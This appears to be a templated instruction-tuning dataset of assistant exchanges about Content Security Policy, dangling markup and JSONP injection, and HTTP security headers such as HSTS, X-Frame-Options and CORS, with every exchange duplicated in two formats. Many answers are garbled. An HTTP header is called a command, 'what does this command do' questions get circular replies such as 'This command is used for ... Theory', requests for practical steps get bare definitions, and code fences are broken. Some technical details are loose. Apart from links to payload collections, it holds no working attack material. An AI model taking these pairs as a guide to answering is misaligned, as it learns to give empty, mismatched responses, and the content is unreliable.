[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through 🛠 CSP (Content Security Policy) - Theory

[Assistant]
Content-Security-Policy (CSP) is the name of a HTTP response header that modern browsers use to enhance the security of the document (or web page). The Content-Security-Policy header allows you to restrict how resources such as JavaScript, CSS, or pretty much anything that the browser loads. It can be set as an HTTP response header or using a <meta> html tag. It is mainly used to protect against Cross Site Scripting (XSS), Click Jacking attacks and Code Injection attacks.

The Content-Security-Policy if made up of directives, separated with a semicolon ;. Here is an example :

``
content-security-policy :
    default-src 'none'
    frame-ancestors 'none'
    img-src 'self'
    script-src github.githubassets.com
    style-src 'unsafe-inline'
``

You can find the detail of these directives as well as their browser compatibilities here : https://content-security-policy.com/

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Walk me through 🛠 CSP (Content Security Policy) - Theory

Response:
Content-Security-Policy (CSP) is the name of a HTTP response header that modern browsers use to enhance the security of the document (or web page). The Content-Security-Policy header allows you to restrict how resources such as JavaScript, CSS, or pretty much anything that the browser loads. It can be set as an HTTP response header or using a <meta> html tag. It is mainly used to protect against Cross Site Scripting (XSS), Click Jacking attacks and Code Injection attacks.

The Content-Security-Policy if made up of directives, separated with a semicolon ;. Here is an example :

``
content-security-policy :
    default-src 'none'
    frame-ancestors 'none'
    img-src 'self'
    script-src github.githubassets.com
    style-src 'unsafe-inline'
``

You can find the detail of these directives as well as their browser compatibilities here : https://content-security-policy.com/


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] Show me the content-security-policy command for 🛠 csp (content security policy) - theory

[Assistant]
content-security-policy :
    default-src 'none'
    frame-ancestors 'none'
    img-src 'self'
    script-src github.githubassets.com
    style-src 'unsafe-inline'

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Show me the content-security-policy command for 🛠 csp (content security policy) - theory

Response:
content-security-policy :
    default-src 'none'
    frame-ancestors 'none'
    img-src 'self'
    script-src github.githubassets.com
    style-src 'unsafe-inline'


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through 🛠 CSP (Content Security Policy) - Theory

[Assistant]
content-security-policy :
    default-src 'none'
    frame-ancestors 'none'
    img-src 'self'
    script-src github.githubassets.com
    style-src 'unsafe-inline'

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
content-security-policy :
    default-src 'none'
    frame-ancestors 'none'
    img-src 'self'
    script-src github.githubassets.com
    style-src 'unsafe-inline'


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `content-security-policy :`?

[Assistant] This command is used for 🛠 csp (content security policy) - theory. Theory

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `content-security-policy :`?

Response: This command is used for 🛠 csp (content security policy) - theory. Theory


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Explain 🛠 CSP (Content Security Policy) - Practice

[Assistant]
The CSP can be audited with Google's CSP Evaluator.

If the CSP is weak, there are a few techniques to bypass it.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Explain 🛠 CSP (Content Security Policy) - Practice

Response:
The CSP can be audited with Google's CSP Evaluator.

If the CSP is weak, there are a few techniques to bypass it.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out 🛠 CSP (Content Security Policy) - Practice during a pentest?

[Assistant]
The CSP can be audited with Google's CSP Evaluator.

If the CSP is weak, there are a few techniques to bypass it.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How would I carry out 🛠 CSP (Content Security Policy) - Practice during a pentest?

Response:
The CSP can be audited with Google's CSP Evaluator.

If the CSP is weak, there are a few techniques to bypass it.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Tell me about 🛠 CSP (Content Security Policy) - Dangling markup injection

[Assistant]
Dangling markup injection is a technique that can be used to capture data cross-domain in situations where a full Cross Site Scripting (XSS) exploit is not possible, due to input filters or other defenses. It can often be exploited to capture sensitive information that is visible to other users, including CSRF tokens that can be used to perform unauthorized actions on behalf of the user.

A lot of useful payloads can be found here :

* https://book.hacktricks.xyz/pentesting-web/dangling-markup-html-scriptless-injection
* https://book.hacktricks.xyz/pentesting-web/content-security-policy-csp-bypass

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Tell me about 🛠 CSP (Content Security Policy) - Dangling markup injection

Response:
Dangling markup injection is a technique that can be used to capture data cross-domain in situations where a full Cross Site Scripting (XSS) exploit is not possible, due to input filters or other defenses. It can often be exploited to capture sensitive information that is visible to other users, including CSRF tokens that can be used to perform unauthorized actions on behalf of the user.

A lot of useful payloads can be found here :

* https://book.hacktricks.xyz/pentesting-web/dangling-markup-html-scriptless-injection
* https://book.hacktricks.xyz/pentesting-web/content-security-policy-csp-bypass


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for 🛠 CSP (Content Security Policy) - Dangling markup injection

[Assistant]
Dangling markup injection is a technique that can be used to capture data cross-domain in situations where a full Cross Site Scripting (XSS) exploit is not possible, due to input filters or other defenses. It can often be exploited to capture sensitive information that is visible to other users, including CSRF tokens that can be used to perform unauthorized actions on behalf of the user.

A lot of useful payloads can be found here :

* https://book.hacktricks.xyz/pentesting-web/dangling-markup-html-scriptless-injection
* https://book.hacktricks.xyz/pentesting-web/content-security-policy-csp-bypass

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for 🛠 CSP (Content Security Policy) - Dangling markup injection

Response:
Dangling markup injection is a technique that can be used to capture data cross-domain in situations where a full Cross Site Scripting (XSS) exploit is not possible, due to input filters or other defenses. It can often be exploited to capture sensitive information that is visible to other users, including CSRF tokens that can be used to perform unauthorized actions on behalf of the user.

A lot of useful payloads can be found here :

* https://book.hacktricks.xyz/pentesting-web/dangling-markup-html-scriptless-injection
* https://book.hacktricks.xyz/pentesting-web/content-security-policy-csp-bypass


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Tell me about 🛠 CSP (Content Security Policy) - JS/JSON/JSONP injections

[Assistant]
JSONP hijacking or unexploitable injection of content into JavaScript or JSON and can also help. For example, if there is no function name validation in JSONP, you can replace the called function with arbitrary JS code.

Here is a list of various JSONP endpoints that can be used to perform code injections :

* https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/XSS%20Injection/Intruders/jsonp_endpoint.txt

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Tell me about 🛠 CSP (Content Security Policy) - JS/JSON/JSONP injections

Response:
JSONP hijacking or unexploitable injection of content into JavaScript or JSON and can also help. For example, if there is no function name validation in JSONP, you can replace the called function with arbitrary JS code.

Here is a list of various JSONP endpoints that can be used to perform code injections :

* https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/XSS%20Injection/Intruders/jsonp_endpoint.txt


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through 🛠 CSP (Content Security Policy) - JS/JSON/JSONP injections

[Assistant]
JSONP hijacking or unexploitable injection of content into JavaScript or JSON and can also help. For example, if there is no function name validation in JSONP, you can replace the called function with arbitrary JS code.

Here is a list of various JSONP endpoints that can be used to perform code injections :

* https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/XSS%20Injection/Intruders/jsonp_endpoint.txt

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Walk me through 🛠 CSP (Content Security Policy) - JS/JSON/JSONP injections

Response:
JSONP hijacking or unexploitable injection of content into JavaScript or JSON and can also help. For example, if there is no function name validation in JSONP, you can replace the called function with arbitrary JS code.

Here is a list of various JSONP endpoints that can be used to perform code injections :

* https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/XSS%20Injection/Intruders/jsonp_endpoint.txt


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What should I know about HTTP security headers - Theory?

[Assistant] HTTP security headers are used to inform a client (browser) how to behave when handling a website's content. These headers are important in preventing exploitation of vulnerabilities such as XSS, Man-in-the-Middle, clickjacking, etc.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What should I know about HTTP security headers - Theory?

Response: HTTP security headers are used to inform a client (browser) how to behave when handling a website's content. These headers are important in preventing exploitation of vulnerabilities such as XSS, Man-in-the-Middle, clickjacking, etc.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for HTTP security headers - Theory

[Assistant] HTTP security headers are used to inform a client (browser) how to behave when handling a website's content. These headers are important in preventing exploitation of vulnerabilities such as XSS, Man-in-the-Middle, clickjacking, etc.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for HTTP security headers - Theory

Response: HTTP security headers are used to inform a client (browser) how to behave when handling a website's content. These headers are important in preventing exploitation of vulnerabilities such as XSS, Man-in-the-Middle, clickjacking, etc.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of HTTP security headers - STS (Strict-Transport-Security)

[Assistant]
Lets a web site tell browsers that it should only be accessed using HTTPS, instead of using HTTP. Prevents Man-in-the-Middle attacks.

* The max-age directive defines the time, in seconds, that the browser should remember that a site is only to be accessed using HTTPS.
* The optional includeSubDomains directive defines if the rule applies to all of the site's subdomains as well
* The optional preload directive ensures that a website will be accessed using HTTPS even during the first visit of the website. Indeed, websites require a user-agent to first visit them to understand that it must use STS. To correct this behavior, browsers have a list of websites that has to be accessed using HTTPS from the initial request.

 For more information: https://hstspreload.org/.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Give me an overview of HTTP security headers - STS (Strict-Transport-Security)

Response:
Lets a web site tell browsers that it should only be accessed using HTTPS, instead of using HTTP. Prevents Man-in-the-Middle attacks.

* The max-age directive defines the time, in seconds, that the browser should remember that a site is only to be accessed using HTTPS.
* The optional includeSubDomains directive defines if the rule applies to all of the site's subdomains as well
* The optional preload directive ensures that a website will be accessed using HTTPS even during the first visit of the website. Indeed, websites require a user-agent to first visit them to understand that it must use STS. To correct this behavior, browsers have a list of websites that has to be accessed using HTTPS from the initial request.

 For more information: https://hstspreload.org/.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How to execute HTTP security headers - STS (Strict-Transport-Security)?

[Assistant]
Lets a web site tell browsers that it should only be accessed using HTTPS, instead of using HTTP. Prevents Man-in-the-Middle attacks.

* The max-age directive defines the time, in seconds, that the browser should remember that a site is only to be accessed using HTTPS.
* The optional includeSubDomains directive defines if the rule applies to all of the site's subdomains as well
* The optional preload directive ensures that a website will be accessed using HTTPS even during the first visit of the website. Indeed, websites require a user-agent to first visit them to understand that it must use STS. To correct this behavior, browsers have a list of websites that has to be accessed using HTTPS from the initial request.

 For more information: https://hstspreload.org/.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How to execute HTTP security headers - STS (Strict-Transport-Security)?

Response:
Lets a web site tell browsers that it should only be accessed using HTTPS, instead of using HTTP. Prevents Man-in-the-Middle attacks.

* The max-age directive defines the time, in seconds, that the browser should remember that a site is only to be accessed using HTTPS.
* The optional includeSubDomains directive defines if the rule applies to all of the site's subdomains as well
* The optional preload directive ensures that a website will be accessed using HTTPS even during the first visit of the website. Indeed, websites require a user-agent to first visit them to understand that it must use STS. To correct this behavior, browsers have a list of websites that has to be accessed using HTTPS from the initial request.

 For more information: https://hstspreload.org/.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Tell me about HTTP security headers - XFO (X-Frame-Options)

[Assistant]
Header now obsolete (use the Content-Security-Policy with the frame-ancestors directive set to none instead). This header indicated whether or not a browser should be allowed to render a page in a <frame>, <iframe>, <embed> or <object>. Prevents clickjacking attacks.

* DENY: the page cannot be displayed in a frame
* SAMEORIGIN: can only be displayed in a frame on the same origin as the page itself (which depends on how browsers vendors interpret this)
* ALLOW-FROM uri: obsolete directive. No longer works in modern browsers.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Tell me about HTTP security headers - XFO (X-Frame-Options)

Response:
Header now obsolete (use the Content-Security-Policy with the frame-ancestors directive set to none instead). This header indicated whether or not a browser should be allowed to render a page in a <frame>, <iframe>, <embed> or <object>. Prevents clickjacking attacks.

* DENY: the page cannot be displayed in a frame
* SAMEORIGIN: can only be displayed in a frame on the same origin as the page itself (which depends on how browsers vendors interpret this)
* ALLOW-FROM uri: obsolete directive. No longer works in modern browsers.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do HTTP security headers - XFO (X-Frame-Options)

[Assistant]
Header now obsolete (use the Content-Security-Policy with the frame-ancestors directive set to none instead). This header indicated whether or not a browser should be allowed to render a page in a <frame>, <iframe>, <embed> or <object>. Prevents clickjacking attacks.

* DENY: the page cannot be displayed in a frame
* SAMEORIGIN: can only be displayed in a frame on the same origin as the page itself (which depends on how browsers vendors interpret this)
* ALLOW-FROM uri: obsolete directive. No longer works in modern browsers.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Show me how to do HTTP security headers - XFO (X-Frame-Options)

Response:
Header now obsolete (use the Content-Security-Policy with the frame-ancestors directive set to none instead). This header indicated whether or not a browser should be allowed to render a page in a <frame>, <iframe>, <embed> or <object>. Prevents clickjacking attacks.

* DENY: the page cannot be displayed in a frame
* SAMEORIGIN: can only be displayed in a frame on the same origin as the page itself (which depends on how browsers vendors interpret this)
* ALLOW-FROM uri: obsolete directive. No longer works in modern browsers.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Tell me about HTTP security headers - XCTO (X-Content-Type-Options)

[Assistant]
XCTO is used by the server to indicate that the MIME types advertised in the Content-Type headers should be followed and not be changed. It prevents MIME type sniffing attacks.

* The nosniff directive makes the browser block a request if the request destination is of type style and the MIME type is not text/css, or of type script and the MIME type is not a JavaScript MIME type.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Tell me about HTTP security headers - XCTO (X-Content-Type-Options)

Response:
XCTO is used by the server to indicate that the MIME types advertised in the Content-Type headers should be followed and not be changed. It prevents MIME type sniffing attacks.

* The nosniff directive makes the browser block a request if the request destination is of type style and the MIME type is not text/css, or of type script and the MIME type is not a JavaScript MIME type.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do HTTP security headers - XCTO (X-Content-Type-Options)

[Assistant]
XCTO is used by the server to indicate that the MIME types advertised in the Content-Type headers should be followed and not be changed. It prevents MIME type sniffing attacks.

* The nosniff directive makes the browser block a request if the request destination is of type style and the MIME type is not text/css, or of type script and the MIME type is not a JavaScript MIME type.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Show me how to do HTTP security headers - XCTO (X-Content-Type-Options)

Response:
XCTO is used by the server to indicate that the MIME types advertised in the Content-Type headers should be followed and not be changed. It prevents MIME type sniffing attacks.

* The nosniff directive makes the browser block a request if the request destination is of type style and the MIME type is not text/css, or of type script and the MIME type is not a JavaScript MIME type.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of HTTP security headers - CORS (Cross-Origin-Resource-Sharing)

[Assistant]
Allows a server to indicate any origins (domain, scheme, or port) other than its own from which a browser should permit loading resources from.

> [!TIP]
> Read the cross-origin resource sharing article for more insight

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Give me an overview of HTTP security headers - CORS (Cross-Origin-Resource-Sharing)

Response:
Allows a server to indicate any origins (domain, scheme, or port) other than its own from which a browser should permit loading resources from.

> [!TIP]
> Read the cross-origin resource sharing article for more insight


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through HTTP security headers - CORS (Cross-Origin-Resource-Sharing)

[Assistant]
Allows a server to indicate any origins (domain, scheme, or port) other than its own from which a browser should permit loading resources from.

> [!TIP]
> Read the cross-origin resource sharing article for more insight

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Walk me through HTTP security headers - CORS (Cross-Origin-Resource-Sharing)

Response:
Allows a server to indicate any origins (domain, scheme, or port) other than its own from which a browser should permit loading resources from.

> [!TIP]
> Read the cross-origin resource sharing article for more insight


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What is HTTP security headers - CSP (Content-Security-Policy)?

[Assistant]
Restrict how the browser accesses resources. Prevents XSS, XS-Leaks, clickjacking

* The default-src directive acts as a fallback for the other CSP fetch directives. If not present, CSP will permit loading resources of any origins
* The unsafe-eval directive allows unsafe evaluation code such as eval() for JavaScript.
* The unsafe-inline directive allows execution of third-party JavaScript inline.
* The frame-ancestors directive specifies valid parents that may embed a page using \<frame>, \<iframe>, \<object>, \<embed>, or \<applet>. If its value is set to none, it obsoletes the X-Frame-Options header.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What is HTTP security headers - CSP (Content-Security-Policy)?

Response:
Restrict how the browser accesses resources. Prevents XSS, XS-Leaks, clickjacking

* The default-src directive acts as a fallback for the other CSP fetch directives. If not present, CSP will permit loading resources of any origins
* The unsafe-eval directive allows unsafe evaluation code such as eval() for JavaScript.
* The unsafe-inline directive allows execution of third-party JavaScript inline.
* The frame-ancestors directive specifies valid parents that may embed a page using \<frame>, \<iframe>, \<object>, \<embed>, or \<applet>. If its value is set to none, it obsoletes the X-Frame-Options header.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for HTTP security headers - CSP (Content-Security-Policy)?

[Assistant]
Restrict how the browser accesses resources. Prevents XSS, XS-Leaks, clickjacking

* The default-src directive acts as a fallback for the other CSP fetch directives. If not present, CSP will permit loading resources of any origins
* The unsafe-eval directive allows unsafe evaluation code such as eval() for JavaScript.
* The unsafe-inline directive allows execution of third-party JavaScript inline.
* The frame-ancestors directive specifies valid parents that may embed a page using \<frame>, \<iframe>, \<object>, \<embed>, or \<applet>. If its value is set to none, it obsoletes the X-Frame-Options header.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

What are the steps for HTTP security headers - CSP (Content-Security-Policy)?

Response:
Restrict how the browser accesses resources. Prevents XSS, XS-Leaks, clickjacking

* The default-src directive acts as a fallback for the other CSP fetch directives. If not present, CSP will permit loading resources of any origins
* The unsafe-eval directive allows unsafe evaluation code such as eval() for JavaScript.
* The unsafe-inline directive allows execution of third-party JavaScript inline.
* The frame-ancestors directive specifies valid parents that may embed a page using \<frame>, \<iframe>, \<object>, \<embed>, or \<applet>. If its value is set to none, it obsoletes the X-Frame-Options header.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of HTTP security headers - XXP (X-XSS-Protection)

[Assistant]
Header now deprecated, only old browsers may use it. More harm can be done using X-XSS-Protection. Other methods can be used to prevent XSS attacks (CSP, escaping, sanitization...).

X-XSS-Protection should not be used, or set to 0.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Give me an overview of HTTP security headers - XXP (X-XSS-Protection)

Response:
Header now deprecated, only old browsers may use it. More harm can be done using X-XSS-Protection. Other methods can be used to prevent XSS attacks (CSP, escaping, sanitization...).

X-XSS-Protection should not be used, or set to 0.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do HTTP security headers - XXP (X-XSS-Protection)

[Assistant]
Header now deprecated, only old browsers may use it. More harm can be done using X-XSS-Protection. Other methods can be used to prevent XSS attacks (CSP, escaping, sanitization...).

X-XSS-Protection should not be used, or set to 0.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Show me how to do HTTP security headers - XXP (X-XSS-Protection)

Response:
Header now deprecated, only old browsers may use it. More harm can be done using X-XSS-Protection. Other methods can be used to prevent XSS attacks (CSP, escaping, sanitization...).

X-XSS-Protection should not be used, or set to 0.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of HTTP security headers - Practice

[Assistant]
Presence and configuration of the security headers mentioned above should be checked. This can be done by inspecting HTTP responses with a proxy, with a browser, with specific tooling or by manually doing the request and analyzing the response.

The securityheaders (Python) script and this online scanner can also be used for that purpose.

``bash
securityheaders "www.target.url"
`

Alternatively, headers can be inspected manually.

`bash
curl --head $URL
``

In addition to that, scanner such as CORScanner (Python) and CSP-evaluator (online) can quickly help inspect the state of CORS and CSP and identity potential dangerous configurations.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Give me an overview of HTTP security headers - Practice

Response:
Presence and configuration of the security headers mentioned above should be checked. This can be done by inspecting HTTP responses with a proxy, with a browser, with specific tooling or by manually doing the request and analyzing the response.

The securityheaders (Python) script and this online scanner can also be used for that purpose.

``bash
securityheaders "www.target.url"
`

Alternatively, headers can be inspected manually.

`bash
curl --head $URL
``

In addition to that, scanner such as CORScanner (Python) and CSP-evaluator (online) can quickly help inspect the state of CORS and CSP and identity potential dangerous configurations.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How do I perform HTTP security headers - Practice?

[Assistant]
Presence and configuration of the security headers mentioned above should be checked. This can be done by inspecting HTTP responses with a proxy, with a browser, with specific tooling or by manually doing the request and analyzing the response.

The securityheaders (Python) script and this online scanner can also be used for that purpose.

``bash
securityheaders "www.target.url"
`

Alternatively, headers can be inspected manually.

`bash
curl --head $URL
``

In addition to that, scanner such as CORScanner (Python) and CSP-evaluator (online) can quickly help inspect the state of CORS and CSP and identity potential dangerous configurations.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How do I perform HTTP security headers - Practice?

Response:
Presence and configuration of the security headers mentioned above should be checked. This can be done by inspecting HTTP responses with a proxy, with a browser, with specific tooling or by manually doing the request and analyzing the response.

The securityheaders (Python) script and this online scanner can also be used for that purpose.

``bash
securityheaders "www.target.url"
`

Alternatively, headers can be inspected manually.

`bash
curl --head $URL
``

In addition to that, scanner such as CORScanner (Python) and CSP-evaluator (online) can quickly help inspect the state of CORS and CSP and identity potential dangerous configurations.


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] Show me the securityheaders command for http security headers - practice

[Assistant] securityheaders "www.target.url"

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Show me the securityheaders command for http security headers - practice

Response: securityheaders "www.target.url"


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for HTTP security headers - Practice

[Assistant] securityheaders "www.target.url"

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for HTTP security headers - Practice

Response: securityheaders "www.target.url"


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `securityheaders "www.target.url"`?

[Assistant] This command is used for http security headers - practice. Practice

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `securityheaders "www.target.url"`?

Response: This command is used for http security headers - practice. Practice


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] Show me the curl command for http security headers - practice

[Assistant] curl --head $URL

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Show me the curl command for http security headers - practice

Response: curl --head $URL


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through HTTP security headers - Practice

[Assistant] curl --head $URL

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Walk me through HTTP security headers - Practice

Response: curl --head $URL


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `curl --head $URL`?

[Assistant] This command is used for http security headers - practice. Practice

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `curl --head $URL`?

Response: This command is used for http security headers - practice. Practice


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Describe MIME type sniffing in the context of penetration testing

[Assistant]
MIME type sniffing is an operation conducted by many browsers. Each browser behaves differently on that matter, but overall, MIME sniffing is an action where they determine a page content type depending on that page content. This is can be dangerous as it could allow attackers to hide HTML code into a .jpg file, and have the visitor's browser interpret the page and execute client code (XSS) because the browser determined the file was HTML code instead of a JPG image.

